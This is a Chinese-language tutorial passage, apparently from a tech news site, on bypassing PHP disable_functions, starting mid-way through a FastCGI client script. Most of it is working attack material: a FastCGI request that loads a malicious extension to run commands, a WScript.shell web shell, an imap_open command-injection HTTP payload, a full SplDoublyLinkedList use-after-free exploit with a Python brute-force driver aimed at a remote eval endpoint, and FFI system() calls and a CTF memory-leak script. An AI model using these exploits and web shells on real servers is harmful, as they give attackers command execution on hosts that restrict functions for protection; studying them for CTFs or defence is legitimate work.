    private $_keepAlive = false;

    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }

    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }

    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }

    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host);
            var_dump($this->_sock);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }

    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }

    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();

        if ($length === null) {
            $length = strlen($data);
        }

        $p = 0;

        while ($p != $length) {

            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }

        return $array;
    }

    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }

    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }

    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();

        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));

        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }

    public function request(array $params, $stdin)
    {
        $response = '';
        $this->connect();
        
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));

        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');

        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');

        fwrite($this->_sock, $request);

        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);

        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
       
        switch (ord($resp['content'][4])) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app cant multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}


//$client = new AA("unix:///var/run/php-fpm.sock");
$client = new AA("127.0.0.1:9000");
$req = '/var/www/html/index.php';
$uri = $req .'?'.'command=ls';
var_dump($client);


$code = "<?php antsystem('ls');\\n?>";
$php_value = "extension = /var/www/html/ant.so";
$php_admin_value = "extension = /var/www/html/ant.so";

$params = array(       
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => '/var/www/html/index.php',
        'SCRIPT_NAME'       => '/var/www/html/index.php',
        'QUERY_STRING'      => 'command=ls',
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
        #'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'PHP_ADMIN_VALUE' => $php_admin_value,
        'SERVER_SOFTWARE'   => 'asd',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
);

echo "Call: $uri\\n\\n";
var_dump($client->request($params, $code));
'''

ret = execute_php_code(code)
print(ret)
code = """
antsystem('ls');
"""
ret = execute_php_code(code)
print(ret)

通過修改其內(nèi)的code即可,效果如下:

php中函數(shù)禁用繞過的原理與用法

漏洞利用成功。

com組件

原理&利用

需要目標機器滿足下列三個條件:

  • com.allow_dcom = true

  • extension=php_com_dotnet.dll

  • php>5.4

此時com組件開啟,我們能夠在phpinfo中看到: php中函數(shù)禁用繞過的原理與用法

要知道原理還是直接從exp看起:

<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

首先,以new COM('WScript.shell')來生成一個com對象,里面的參數(shù)也可以為Shell.Application(筆者的win10下測試失?。?。

然后這個com對象中存在著exec可以用來執(zhí)行命令,而后續(xù)的方法則是將命令輸出,該方式的利用還是較為簡單的,就不多講了。

imap_open

該bypass方式為CVE-2018-19518

原理

imap擴展用于在PHP中執(zhí)行郵件收發(fā)操作,而imap_open是一個imap擴展的函數(shù),在使用時通常以如下形式:

$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);

那么該函數(shù)在調(diào)用時會調(diào)用rsh來連接遠程shell,而在debian/ubuntu中默認使用ssh來代替rsh的功能,也即是說在這倆系統(tǒng)中調(diào)用的實際上是ssh,而ssh中可以通過-oProxyCommand=來調(diào)用命令,該選項可以使得我們在連接服務器之前先執(zhí)行命令,并且需要注意到的是此時并不是php解釋器在執(zhí)行該系統(tǒng)命令,其以一個獨立的進程去執(zhí)行了該命令,因此我們也就成功的bypass disable function了。

那么我們可以先在ubuntu上試驗一下:

ssh -oProxyCommand="ls>test" 192.168.2.1

php中函數(shù)禁用繞過的原理與用法

利用

環(huán)境的話vulhub上有,其中給出了poc:

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

我們可以發(fā)現(xiàn)其中使用了%09來繞過空格,以base64的形式來執(zhí)行我們的命令,那么我這里再驗證一下:

hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222
//ls>test

會發(fā)現(xiàn)成功寫入了一個test,漏洞利用成功,那么接下來就是各種肆意妄為了。

三種UAF

EXP在:https://github.com/mm0r1/exploits

三種uaf分別是:

  • Json Serializer UAF

  • GC UAF

  • Backtrace UAF

關于uaf的利用因為涉及到二進制相關的知識,而筆者是個web狗,因此暫時只會用exp打打,因此這里就不多說,就暫時先稍微提一下三種uaf的利用版本及其概述//其實我就是照搬了exp里面的說明,讀者可以看exp作者的說明就行了。

Json Serializer UAF

漏洞出現(xiàn)的版本在于:

  • 7.1 - all versions to date

  • 7.2 < 7.2.19 (released: 30 May 2019)

  • 7.3 < 7.3.6 (released: 30 May 2019)

漏洞利用json在序列化中的堆溢出觸發(fā)bypass,漏洞為bug #77843

GC UAF

漏洞出現(xiàn)的版本在于:

  • 7.0 - all versions to date

  • 7.1 - all versions to date

  • 7.2 - all versions to date

  • 7.3 - all versions to date

漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出達成bypass,漏洞為:bug #72530

Backtrace UAF

漏洞出現(xiàn)的版本在于:

  • 7.0 - all versions to date

  • 7.1 - all versions to date

  • 7.2 - all versions to date

  • 7.3 < 7.3.15 (released 20 Feb 2020)

  • 7.4 < 7.4.3 (released 20 Feb 2020)

漏洞利用的是 debug_backtrace這個函數(shù),可以利用該函數(shù)的漏洞返回已經(jīng)銷毀的變量的引用達成堆溢出,漏洞為bug #76047

利用

利用的話exp或者蟻劍上都有利用插件了,這里不多講,可以上ctfhub測試。

SplDoublyLinkedList UAF

概述

這個UAF是在先知上看到的,引用原文來概述:

可以看到,刪除元素的操作被放在了置空 traverse_pointer 指針前。

所以在刪除一個對象時,我們可以在其構析函數(shù)中通過 current 訪問到這個對象,也可以通過 next 訪問到下一個元素。如果此時下一個元素已經(jīng)被刪除,就會導致 UAF。

PHP 部分(僅在 7.4.10、7.3.22、7.2.34 版本測試)

exp

exp同樣出自原文。

php部分:

<?php
error_reporting(0);
$a = str_repeat("T", 120 * 1024 * 1024);
function i2s(&$a, $p, $i, $x = 8) {
    for($j = 0;$j < $x;$j++) {
        $a[$p + $j] = chr($i & 0xff);
        $i >>= 8;
    }
}

function s2i($s) {
    $result = 0;
    for ($x = 0;$x < strlen($s);$x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

function leak(&$a, $address) {
    global $s;
    i2s($a, 0x00, $address - 0x10);
    return strlen($s -> current());
}

function getPHPChunk($maps) {
    $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /';
    preg_match_all($pattern, $maps, $match);
    foreach ($match[1] as $value) {
        list($start, $end) = explode("-", $value);
        if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) {
            $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length);
            echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n";
            return $address;
        }
    }
}

function bomb1(&$a) {
    if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) {
        return (s2i($_GET["test1"]) & 0x7ffff0000000);
    }else {
        die("[!]Where is here");
    }
}

function bomb2(&$a) {
    $start = s2i($_GET["test2"]);
    return getElement($a, array($start, $start + 0x200000, 0x200000));
    die("[!]Not Found");
}

function getElement(&$a, $address) {
    for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) {
        $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000;
        for ($y = 0;$y < 5;$y++) {
            if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){
                echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n";
                return $addr + $y * 0x08 - 0x18;
            }
        }
    }
}

function getClosureChunk(&$a, $address) {
    do {
        $address = leak($a, $address);
    }while(leak($a, $address) !== 0x00);
    echo "[+]Closure Chunk: " . dechex($address) . "\n";
    return $address;
}

function getSystem(&$a, $address) {
    $start = $address & 0xffffffffffff0000;
    $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000;
    for($i = 0; $i < 0x1000 * 0x80; $i++) {
        $addr = $start - $i * 0x20;
        if ($addr < $lowestAddr) {
            break;
        }
        $nameAddr = leak($a, $addr);
        if ($nameAddr > $address || $nameAddr < $lowestAddr) {
            continue;
        }
        $name = dechex(leak($a, $nameAddr));
        $name = str_pad($name, 16, "0", STR_PAD_LEFT);
        $name = strrev(hex2bin($name));
        $name = explode("\x00", $name)[0];
        if($name === "system") {
            return leak($a, $addr + 0x08);
        }
    }
}

class Trigger {
    function __destruct() {
        global $s;
        unset($s[0]);
        $a = str_shuffle(str_repeat("T", 0xf));
        i2s($a, 0x00, 0x1234567812345678);
        i2s($a, 0x08, 0x04, 7);
        $s -> current();
        $s -> next();
        if ($s -> current() !== 0x1234567812345678) {
             die("[!]UAF Failed");
        }
        $maps = file_get_contents("/proc/self/maps");
        if (!$maps) {
            cantRead($a);
        }else {
            canRead($maps, $a);
        }
        echo "[+]Done";
    }
}

function bypass($elementAddress, &$a) {
    global $s;
    if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) {
        die("[!]Get Closure Chunk Address Failed");
    }
    $closure_object = leak($a, $closureChunkAddress + 0x18);
    echo "[+]Closure Object: " . dechex($closure_object) . "\n";
    $closure_handlers = leak($a, $closure_object + 0x18);
    echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n";
    if(!($system_address = getSystem($a, $closure_handlers))) {
        die("[!]Couldn't determine system address");
    }
    echo "[+]Find system's handler: " . dechex($system_address) . "\n";
    i2s($a, 0x08, 0x506, 7);
    for ($i = 0;$i < (0x130 / 0x08);$i++) {
        $data = leak($a, $closure_object + 0x08 * $i);
        i2s($a, 0x00, $closure_object + 0x30);
        i2s($s -> current(), 0x08 * $i + 0x100, $data);
    }
    i2s($a, 0x00, $closure_object + 0x30);
    i2s($s -> current(), 0x20, $system_address);
    i2s($a, 0x00, $closure_object);
    i2s($a, 0x08, 0x108, 7);
    echo "[+]Executing command: \n";
    ($s -> current())("php -v");
}

function canRead($maps, &$a) {
    global $s;
    if (!$chunkAddress = getPHPChunk($maps)) {
        die("[!]Get PHP Chunk Address Failed");
    }
    i2s($a, 0x08, 0x06, 7);
    if (!$elementAddress = getElement($a, $chunkAddress)) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

function cantRead(&$a) {
    global $s;
    i2s($a, 0x08, 0x06, 7);
    if (!isset($_GET["test1"]) && !isset($_GET["test2"])) {
        die("[!]Please try to get address of PHP Chunk");
    }
    if (isset($_GET["test1"])) {
        die(dechex(bomb1($a)));
    }
    if (isset($_GET["test2"])) {
        $elementAddress = bomb2($a);
    }
    if (!$elementAddress) {
        die("[!]Get SplDoublyLinkedList Element Address Failed");
    }
    bypass($elementAddress, $a);
}

$s = new SplDoublyLinkedList();
$s -> push(new Trigger());
$s -> push("Twings");
$s -> push(function($x){});
for ($x = 0;$x < 0x100;$x++) {
    $s -> push(0x1234567812345678);
}
$s -> rewind();
unset($s[0]);

python部分:

# -*- coding:utf8 -*-
import requests
import base64
import time
import urllib
from libnum import n2s


def bomb1(_url):
    content = None
    count = 1
    addr = 0x7f0000000000  # change here and bomb1() in php if failed
    while True:
        try:
            addr = addr + 0x10000000 / 2
            if count % 100 == 0:
                print "[+]Bomb " + str(count) + " times, address of first chunk maybe: " + str(hex(addr))
            content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), data={
                "c": "eval(base64_decode('" + payload + "'));",
            }).content
            if "[!]" in content or "502 Bad Gateway" in content:
                count += 1
                continue
            break
        except:
            count += 1
            continue
    return content


def bomb2(_url, _addr1):
    content = None
    count = 1
    crashcount = 0
    while True:
        try:
            _addr1 = _addr1 + 0x200000
            if count % 10 == 0:
                print "[+]Bomb " + str(count) + " times, address of php chunk maybe: " + str(hex(_addr1))
            content = requests.post(_url + "?test2=" + urllib.quote(n2s(_addr1)), data={
                "c": "eval(base64_decode('" + payload + "'));",
            }).content
            if "[!]" in content or "502 Bad Gateway" in content:
                count += 1
                continue
            break
        except:
            count += 1
            crashcount += 1
            continue
    print "[+]PHP crash " + str(crashcount) + " times"
    return content


payload = open("xxx.php").read()
payload = base64.b64encode("?>" + payload)
url = "http://x.x.x.x:x/eval.php"
print "[+]Execute Payload, Output is:"
content = requests.post(url, data={
    "c": "eval(base64_decode('" + payload + "'));",
}).content
if "[!]Please try to get address of PHP Chunk" in content:
    addr1 = bomb1(url)
    if addr1 is None:
        exit(1)
    print "---------------------------------------------------------------------------------"
    addr2 = bomb2(url, int(addr1, 16))
    if addr2 is None:
        exit(1)
    print "---------------------------------------------------------------------------------"
    print addr2
else:
    print content
print "[+]Execute Payload Over."

ffi擴展

ffi擴展筆者初見于TCTF/0CTF 2020中的easyphp,當時是因為非預期解拿到flag發(fā)現(xiàn)了ffi三個字母才了解到php7.4中多了ffi這種東西。

原理

PHP FFI(Foreign Function interface),提供了高級語言直接的互相調(diào)用,而對于PHP而言,F(xiàn)FI讓我們可以方便的調(diào)用C語言寫的各種庫。

也即是說我們可以通過ffi來調(diào)用c語言的函數(shù)從而繞過disable的限制,我們可以簡單使用一個示例來體會一下:

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami >/tmp/1");
echo file_get_contents("/tmp/1");
@unlink("/tmp/1");

輸出如下:

php中函數(shù)禁用繞過的原理與用法

那么這種利用方式可能出現(xiàn)的場景還不是很多,因此筆者稍微講解一下。

首先是cdef:

$ffi = FFI::cdef("int system(const char *command);");

這一行是創(chuàng)建一個ffi對象,默認就會加載標準庫,以本行為例是導入system這個函數(shù),而這個函數(shù)理所當然是存在于標準庫中,那么我們?nèi)粢獙霂鞎r則可以以如下方式:

$ffi = FFI::cdef("int system(const char *command);","libc.so.6");

可以看看其函數(shù)原型:

FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI

取得了ffi對象后我們就可以直接調(diào)用函數(shù)了:

$ffi->system("whoami >/tmp/1");

之后的代碼較為簡單就不多講,那么接下來看看實際應用該從哪里入手。

利用

以tctf的題目為例,題目直接把cdef過濾了,并且存在著basedir,但我們可以使用之前說過bypass basedir來列目錄,逐一嘗試能夠發(fā)現(xiàn)可以使用glob列根目錄目錄:

<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
 echo($f->__toString().'<br>');
}
?>

可以發(fā)現(xiàn)根目錄存在著flag.h跟so:

php中函數(shù)禁用繞過的原理與用法

因為后面環(huán)境沒有保存,筆者這里簡單復述一下當時題目的情況(僅針對預期解)。

發(fā)現(xiàn)了flag.h之后查看ffi相關文檔能夠發(fā)現(xiàn)一個load方法可以加載頭文件。

于是有了如下:

$ffi = FFI::load("/flag.h");

但當我們想要打印頭文件來獲取其內(nèi)存在的函數(shù)時會尷尬的發(fā)現(xiàn)如下:

php中函數(shù)禁用繞過的原理與用法

我們無法獲取到存在的函數(shù)結構,因此也就無法使用ffi調(diào)用函數(shù),這一步路就斷了,并且cdef也被過濾了,無法直接調(diào)用system函數(shù),但查看文檔能夠發(fā)現(xiàn)ffi中存在著不少與內(nèi)存相關的函數(shù),因此存在著內(nèi)存泄露的可能,這里借用飄零師傅的exp:

import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {
    $ffi=FFI::load("/flag.h");
    //get flag
    //$a = $ffi->flag_wAt3_uP_apA3H1();
    //for($i = 0; $i < 128; $i++){
        echo $a[$i];
    //}
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);
    
    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);
    
    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x20000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);
   
    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

獲取到函數(shù)名后直接調(diào)用函數(shù)然后把結果打印出來即可:

$a = $ffi->flag_wAt3_uP_apA3H1();
for($i=0;$i<100;$i++){
  echo $a[$i];
}

看完上述內(nèi)容,你們對php中函數(shù)禁用繞過的原理與用法有進一步的了解嗎?如果還想了解更多知識或者相關內(nèi)容,請關注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

php
AI